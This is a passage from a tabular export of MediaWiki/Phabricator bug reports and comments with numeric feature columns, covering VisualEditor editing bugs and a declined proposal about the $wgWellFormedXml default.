brittle.)""",,,1371996216,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-vrnyctiie6ntzdrqt77a,task_subcomment,,True,c1,2,False,,,-2,,1.0,0.3333333333333333,0.0,0.6666666666666666,1.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,3.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,4.0,13.0,0.3333333333333333,2.3333333333333335,1.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,2.6666666666666665,1.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,14.333333333333334,0.0,2.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,1.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,7.666666666666667,1.6666666666666667,2.0,0.3333333333333333,2.3333333333333335,11.333333333333334,0.0,0.0,0.0,0.0,5.333333333333333,0.3333333333333333,0.6666666666666666,0.0,1.0,13.0,1.0,0.0,0.6666666666666666,0.0,1.0,0.0,1.0,1.6666666666666667,1.0,0.6666666666666666,1.3333333333333333,0.0,0.6666666666666666,3.9516197783461213,0.731813015061097,"Brad also has a suggestion (along with a bug report) for a workflow to make these easier to identify:

""One way to catch this for debugging purposes would be for the VisualEditor to make a note at tuntime of which sections of the article have been edited visually, for the JS code to report this to the server at save time, and then to check on the server side which sections of the article have changed in the wikitext diff. If (a) the section structure of the article remains unchanged from before the edit, and (b) there are wikitext differences in sections that have not been changed by the editor in visual mode, then something's clearly gone wrong, and the edit session should be auto-reported to the programming team. (Please don't try to use this idea as an error concealment technique: these errors shouldn't occur, as every one of them reveals some sort of bug, either in the code or the data model, and hiding them would make the software more, rather than less brittle.)"""
52040,Set $wgWellFormedXml = false by default,"The main reason for this still being true was screen-scraping bots (together with $wgHtml5).

For some reason when $wgHtml5 was finally enabled we forgot to also get rid of wgWellFormedXml=true.

We should disable it by default for the same reason we now enable wgHtml5 by default.

This is mainly bugging because of the ""&&"" sign we have as of recently in the default html output, which, due to wgWellFormedXml, causes an ugly CDATA section.

--------------------------
**Version**: 1.22.0
**Severity**: normal",Medium,50.0,1371977520,1375143938.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-d42ybmk2s2iavorgwpdd,task_description,declined,True,c1,2,True,False,True,-2,,0.5,0.0,0.0,0.5,0.0,4.0,0.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.5,0.0,5.0,10.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,2.5,0.0,0.5,0.0,0.0,0.0,8.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.5,0.5,0.0,0.5,3.5,2.5,5.0,1.5,2.0,6.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,3.0,10.0,4.0,0.0,2.0,0.0,3.0,0.0,1.5,1.0,0.0,1.5,0.0,0.0,0.0,3.8836152882205512,0.7340225563909775,"The main reason for this still being true was screen-scraping bots (together with $wgHtml5).

For some reason when $wgHtml5 was finally enabled we forgot to also get rid of wgWellFormedXml=true.

We should disable it by default for the same reason we now enable wgHtml5 by default.

This is mainly bugging because of the ""&&"" sign we have as of recently in the default html output, which, due to wgWellFormedXml, causes an ugly CDATA section.

--------------------------
**Version**: 1.22.0
**Severity**: normal"
241013,Set $wgWellFormedXml = false by default,"Change 70036 abandoned by Krinkle:
Set $wgWellFormedXml to false by default

Reason:
Agreed, per bug.

https://gerrit.wikimedia.org/r/70036",,,1379404668,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d42ybmk2s2iavorgwpdd,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.08,0.84,"Change 70036 abandoned by Krinkle:
Set $wgWellFormedXml to false by default

Reason:
Agreed, per bug.

GERRIT_URL"
241006,Set $wgWellFormedXml = false by default,I note btw that the tidy config is also set to produce XHTML.,,,1375782777,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-d42ybmk2s2iavorgwpdd,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,I note btw that the tidy config is also set to produce XHTML.
241000,Set $wgWellFormedXml = false by default,"I've decided that I don't think this should be done, now or in the future. I think the general idea behind HTML's original SGML -> XML migration, i.e. to make parsers easier to write at the expense of brevity, continues to be sound and useful. The benefits of a reversion to SGML are small, and the costs can be expected to mirror bug 52253.",,,1375143938,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-d42ybmk2s2iavorgwpdd,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,3.0,1.0,8.0,3.0,0.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,4.0,0.0,3.0,15.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,7.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,4.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,5.0,11.0,1.0,4.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,4.0,15.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,3.7066666666666666,0.7333333333333333,"I've decided that I don't think this should be done, now or in the future. I think the general idea behind HTML's original SGML -> XML migration, i.e. to make parsers easier to write at the expense of brevity, continues to be sound and useful. The benefits of a reversion to SGML are small, and the costs can be expected to mirror bug 52253."
240995,Set $wgWellFormedXml = false by default,"(In reply to comment #2)
> You could just use <script>if(jQuery)jQuery.ready()</script>, it would be
> shorter than what you have currently: <script>window.jQuery &&
> jQuery.ready();</script>

<script>if(window.jQuery)jQuery.ready()</script>, rather. The ""window."" is important here, as we want to keep going even if jQuery is not loaded and thus its variable is not defined.",,,1372758238,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-d42ybmk2s2iavorgwpdd,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,4.0,4.0,2.0,2.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,10.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,10.0,6.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,3.7884615384615383,0.75,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

<script>if(window.jQuery)jQuery.ready()</script>, rather. The ""window."" is important here, as we want to keep going even if jQuery is not loaded and thus its variable is not defined."
240990,Set $wgWellFormedXml = false by default,"You could just use <script>if(jQuery)jQuery.ready()</script>, it would be shorter than what you have currently: <script>window.jQuery && jQuery.ready();</script>

In any case, I don't think that CDATA is a particularly inefficient or ugly part of our HTML output, compared to, say,

mw.loader.implement(""user.options"",function(){mw.user.options.set({""ccmeonemails"":0,""cols"":80,""date"":""default"",""diffonly"":0,""disablemail"":0,""disablesuggest"":0,""editfont"":""default"",""editondblclick"":0,""editsection"":1,""editsectiononrightclick"":0,""enotifminoredits"":0,""enotifrevealaddr"":0,""enotifusertalkpages"":1,""enotifwatchlistpages"":0,""extendwatchlist"":0,""fancysig"":0,""forceeditsummary"":0,""gender"":""unknown"",""hideminor"":0,""hidepatrolled"":0,""imagesize"":2,""justify"":0,""math"":0,""minordefault"":0,""newpageshidepatrolled"":0,""nocache"":0,""noconvertlink"":0,""norollbackdiff"":0,""numberheadings"":0,""previewonfirst"":0,""previewontop"":1,""rcdays"":7,""rclimit"":50,""rememberpassword"":0,""rows"":25,""searchlimit"":20,""showhiddencats"":false,""showjumplinks"":1,""shownumberswatching"":1,""showtoc"":1,""showtoolbar"":1,""skin"":""vector"",""stubthreshold"":0,""thumbsize"":4,""underline"":2,""uselivepreview"":0,""usenewrc"":0,""watchcreations"":1,""watchdefault"":0,""watchdeletion"":0,""watchlistdays"":3,""watchlisthideanons"":0,""watchlisthidebots"":0,
""watchlisthideliu"":0,""watchlisthideminor"":0,""watchlisthideown"":0,""watchlisthidepatrolled"":0,""watchmoves"":0,""wllimit"":250,""useeditwarning"":1,""flaggedrevssimpleui"":1,""flaggedrevsstable"":0,""flaggedrevseditdiffs"":true,""flaggedrevsviewdiffs"":false,""vector-simplesearch"":1,""vector-collapsiblenav"":1,""usebetatoolbar"":1,""usebetatoolbar-cgd"":1,""aftv5-last-filter"":null,""visualeditor-enable"":1,""wikilove-enabled"":1,""echo-subscriptions-web-page-review"":true,""echo-subscriptions-email-page-review"":false,""ep_showtoplink"":false,""ep_bulkdelorgs"":false,""ep_bulkdelcourses"":true,""ep_showdyk"":true,""echo-notify-show-link"":true,""echo-show-alert"":true,""echo-email-frequency"":0,""echo-subscriptions-email-system"":true,""echo-subscriptions-web-system"":true,""echo-subscriptions-email-other"":false,""echo-subscriptions-web-other"":true,""echo-subscriptions-email-edit-user-talk"":false,""echo-subscriptions-web-edit-user-talk"":true,""echo-subscriptions-email-reverted"":false,""echo-subscriptions-web-reverted"":true,
""echo-subscriptions-email-article-linked"":false,""echo-subscriptions-web-article-linked"":false,""echo-subscriptions-email-mention"":false,""echo-subscriptions-web-mention"":true,""echo-subscriptions-web-edit-thank"":true,""echo-subscriptions-email-edit-thank"":false,""gettingstarted-task-toolbar-show-intro"":true,""variant"":""en"",""language"":""en"",""searchNs0"":true,""searchNs1"":false,""searchNs2"":false,""searchNs3"":false,""searchNs4"":false,""searchNs5"":false,""searchNs6"":false,""searchNs7"":false,""searchNs8"":false,""searchNs9"":false,""searchNs10"":false,""searchNs11"":false,""searchNs12"":false,""searchNs13"":false,""searchNs14"":false,""searchNs15"":false,""searchNs100"":false,""searchNs101"":false,""searchNs108"":false,""searchNs109"":false,""searchNs446"":false,""searchNs447"":false,""searchNs710"":false,""searchNs711"":false,""searchNs828"":false,""searchNs829"":false,""gadget-teahouse"":1,""gadget-ReferenceTooltips"":1,""gadget-DRN-wizard"":1,""gadget-charinsert"":1,""gadget-mySandbox"":1});},{},{});mw.loader.implement(""user.tokens"",function(){mw
.user.tokens.set({""editToken"":""+\\"",""patrolToken"":false,""watchToken"":false});},{},{});

which is sent out with every anonymous page view.",,,1372740996,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-d42ybmk2s2iavorgwpdd,task_subcomment,,True,c1,3,True,,,0,,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,1.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,5.666666666666667,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,22.333333333333332,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,2.3333333333333335,0.3333333333333333,1.0,1.3333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,1.3333333333333333,0.0,1.6666666666666667,2.3333333333333335,3.3333333333333335,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,13.168627450980393,0.49019607843137253,"You could just use <script>if(jQuery)jQuery.ready()</script>, it would be shorter than what you have currently: <script>window.jQuery && jQuery.ready();</script>

In any case, I don't think that CDATA is a particularly inefficient or ugly part of our HTML output, compared to, say,

mw.loader.implement(""user.options"",function(){mw.user.options.set({""ccmeonemails"":0,""cols"":80,""date"":""default"",""diffonly"":0,""disablemail"":0,""disablesuggest"":0,""editfont"":""default"",""editondblclick"":0,""editsection"":1,""editsectiononrightclick"":0,""enotifminoredits"":0,""enotifrevealaddr"":0,""enotifusertalkpages"":1,""enotifwatchlistpages"":0,""extendwatchlist"":0,""fancysig"":0,""forceeditsummary"":0,""gender"":""unknown"",""hideminor"":0,""hidepatrolled"":0,""imagesize"":2,""justify"":0,""math"":0,""minordefault"":0,""newpageshidepatrolled"":0,""nocache"":0,""noconvertlink"":0,""norollbackdiff"":0,""numberheadings"":0,""previewonfirst"":0,""previewontop"":1,""rcdays"":7,""rclimit"":50,""rememberpassword"":0,""rows"":25,""searchlimit"":20,""showhiddencats"":false,""showjumplinks"":1,""shownumberswatching"":1,""showtoc"":1,""showtoolbar"":1,""skin"":""vector"",""stubthreshold"":0,""thumbsize"":4,""underline"":2,""uselivepreview"":0,""usenewrc"":0,""watchcreations"":1,""watchdefault"":0,""watchdeletion"":0,""watchlistdays"":3,""watchlisthideanons"":0,""watchlisthidebots"":0,
""watchlisthideliu"":0,""watchlisthideminor"":0,""watchlisthideown"":0,""watchlisthidepatrolled"":0,""watchmoves"":0,""wllimit"":250,""useeditwarning"":1,""flaggedrevssimpleui"":1,""flaggedrevsstable"":0,""flaggedrevseditdiffs"":true,""flaggedrevsviewdiffs"":false,""vector-simplesearch"":1,""vector-collapsiblenav"":1,""usebetatoolbar"":1,""usebetatoolbar-cgd"":1,""aftv5-last-filter"":null,""visualeditor-enable"":1,""wikilove-enabled"":1,""echo-subscriptions-web-page-review"":true,""echo-subscriptions-email-page-review"":false,""ep_showtoplink"":false,""ep_bulkdelorgs"":false,""ep_bulkdelcourses"":true,""ep_showdyk"":true,""echo-notify-show-link"":true,""echo-show-alert"":true,""echo-email-frequency"":0,""echo-subscriptions-email-system"":true,""echo-subscriptions-web-system"":true,""echo-subscriptions-email-other"":false,""echo-subscriptions-web-other"":true,""echo-subscriptions-email-edit-user-talk"":false,""echo-subscriptions-web-edit-user-talk"":true,""echo-subscriptions-email-reverted"":false,""echo-subscriptions-web-reverted"":true,
""echo-subscriptions-email-article-linked"":false,""echo-subscriptions-web-article-linked"":false,""echo-subscriptions-email-mention"":false,""echo-subscriptions-web-mention"":true,""echo-subscriptions-web-edit-thank"":true,""echo-subscriptions-email-edit-thank"":false,""gettingstarted-task-toolbar-show-intro"":true,""variant"":""en"",""language"":""en"",""searchNs0"":true,""searchNs1"":false,""searchNs2"":false,""searchNs3"":false,""searchNs4"":false,""searchNs5"":false,""searchNs6"":false,""searchNs7"":false,""searchNs8"":false,""searchNs9"":false,""searchNs10"":false,""searchNs11"":false,""searchNs12"":false,""searchNs13"":false,""searchNs14"":false,""searchNs15"":false,""searchNs100"":false,""searchNs101"":false,""searchNs108"":false,""searchNs109"":false,""searchNs446"":false,""searchNs447"":false,""searchNs710"":false,""searchNs711"":false,""searchNs828"":false,""searchNs829"":false,""gadget-teahouse"":1,""gadget-ReferenceTooltips"":1,""gadget-DRN-wizard"":1,""gadget-charinsert"":1,""gadget-mySandbox"":1});},{},{});mw.loader.implement(""user.tokens"",function(){mw
.user.tokens.set({""editToken"":""+\\"",""patrolToken"":false,""watchToken"":false});},{},{});

which is sent out with every anonymous page view."
240984,Set $wgWellFormedXml = false by default,Related URL: https://gerrit.wikimedia.org/r/70036 (Gerrit Change I4155c74042d22527dc5c9460a4af8b7b1adb36cc),,,1371978337,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d42ybmk2s2iavorgwpdd,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I4155c74042d22527dc5c9460a4af8b7b1adb36cc)
52014,VisualEditor: cannot reposition typing cursor using the mouse in edit summary,"Self-explanatory, albeit poorly worded; if you type something out in the edit summary box, and then click on a point in that text to move your typing cursor....no luck. This is going to be a total pain for things as simple as tyop corrections.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1371896940,1372007051.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-fcxjzl7orc3z55j4k4z4,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,6.0,3.0,1.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.8309859154929575,0.7887323943661971,"Self-explanatory, albeit poorly worded; if you type something out in the edit summary box, and then click on a point in that text to move your typing cursor....no luck. This is going to be a total pain for things as simple as tyop corrections.

--------------------------
**Version**: unspecified
**Severity**: normal"
239584,VisualEditor: cannot reposition typing cursor using the mouse in edit summary,Fixed and deployed; sorry for this.,,,1372007051,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fcxjzl7orc3z55j4k4z4,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Fixed and deployed; sorry for this.
239576,VisualEditor: cannot reposition typing cursor using the mouse in edit summary,A fix to bug 49927 might also fix this.,,,1371899709,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-fcxjzl7orc3z55j4k4z4,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.1,0.9,A fix to bug 49927 might also fix this.
52002,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder","From [[Wikipedia:VisualEditor/Feedback#Editing_Defaultsort]]:

> The Page Settings box displays the article title as a default ""Defaultsort"". But it doesn't seem possible to edit it: typing any letters removes the whole existing text, while trying to delete a few characters has no effect. Where the sort key is not identical to the article title it's usually a variation of it - delete a leading ""The "", or move the given name from start to end. It's a waste to have to retype it all: we ought to be able to edit that box.
> 
> This is because the default defaultsort value (article title) is implemented as ""placeholder"" text. Instead, it should be normal editable text.
> 
> Upon closing the page settings dialog, the logic should be, ""if defaultsort != article title, add a {{DEFAULTSORT:}} magic word, else remove existing {{DEFAULTSORT:}} if present"".",Medium,50.0,1371864600,1540933484.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-457x6imtkd7rswr4kl6x,task_description,duplicate,True,c1,2,False,False,False,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.333333333333333,0.5238095238095238,"From [[Wikipedia:VisualEditor/Feedback#Editing_Defaultsort]]:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
238946,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder","(In reply to pamdavies7 from comment #3)
> Thanks for the explanation! So it remains a bug - and distinctly irritating,
> for someone who adds a lot of DEFAULTSORTs to articles. 
> 
> That said, I suppose it doesn't actually create any more work for the editor
> than adding the DEFAULTSORT in the old edit system: the value would always
> have had to be typed in from scratch.

But in the old system one could copy and paste the title from some part of the record, edit as needed (move ""The"" to end, replace an accented letter by plain), highlight, click on ""DEFAULTSORT"" from the editing menu below the edit box, and that was that. Having to retype is more work; having to retype when you can't see the original to copy from is sometimes impossible.",,,1408114605,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-457x6imtkd7rswr4kl6x,task_subcomment,,True,c1,3,False,,,58,,0.5,0.0,0.0,0.0,1.0,4.5,3.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,3.0,11.5,0.0,3.5,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.5,0.0,0.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,3.0,6.5,1.0,2.0,7.5,0.0,0.0,0.0,0.5,7.5,0.0,0.5,0.0,1.5,11.5,4.5,0.0,3.0,0.0,1.5,0.0,1.0,1.0,0.0,2.0,1.0,0.0,0.0,3.5566037735849054,0.7264150943396226,"(In reply to pamdavies7 from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

But in the old system one could copy and paste the title from some part of the record, edit as needed (move ""The"" to end, replace an accented letter by plain), highlight, click on ""DEFAULTSORT"" from the editing menu below the edit box, and that was that. Having to retype is more work; having to retype when you can't see the original to copy from is sometimes impossible."
238941,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder",*** Bug 69568 has been marked as a duplicate of this bug. ***,,,1408096620,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-457x6imtkd7rswr4kl6x,task_subcomment,,True,c1,3,True,,,58,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 69568 has been marked as a duplicate of this bug. ***
238936,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder","What if the article ""Abc"" has a DEFAULTSORT set to ""Alphabet"", but is then renamed to ""Alphabet"", making the DEFAULTSORT and article title the same. Then someone opens the category editor, upon save we see that DEFAULTSORT and the article title are the same and remove it. Now you have a dirty diff.

So, we see that separating the default value of the actual value is... well, valuable.

The UX issue is that we force the user to start from scratch when editing the field. The real cause of all this is that we are using the value of text input widget to not only detect a change, but also whether to set or not.

We may consider doing something else, like having a tick to explicitly override the sorting key, and separately have a text input widget which, as requested, is populated with the default or current value.

There are a few things I'm not happy with here, however.

* What happens when DEFAULTSORT is set to empty string?
* It feels like we are adding too much complexity
* If the user unticks override, does the text input widget's value get set to the deafult value, or just get grayed out (either has it's downfalls)",,,1394228553,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-457x6imtkd7rswr4kl6x,task_subcomment,,True,c1,3,False,,,35,,1.0,0.6666666666666666,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.3333333333333333,6.333333333333333,9.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,9.333333333333334,1.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,14.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,8.333333333333334,3.6666666666666665,7.0,3.0,3.6666666666666665,9.666666666666666,0.0,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,4.0,9.0,2.6666666666666665,0.3333333333333333,2.0,0.0,4.0,0.0,1.6666666666666667,2.0,0.0,2.6666666666666665,0.0,0.0,0.0,3.765696934077775,0.6857184836908609,"What if the article ""Abc"" has a DEFAULTSORT set to ""Alphabet"", but is then renamed to ""Alphabet"", making the DEFAULTSORT and article title the same. Then someone opens the category editor, upon save we see that DEFAULTSORT and the article title are the same and remove it. Now you have a dirty diff.

So, we see that separating the default value of the actual value is... well, valuable.

The UX issue is that we force the user to start from scratch when editing the field. The real cause of all this is that we are using the value of text input widget to not only detect a change, but also whether to set or not.

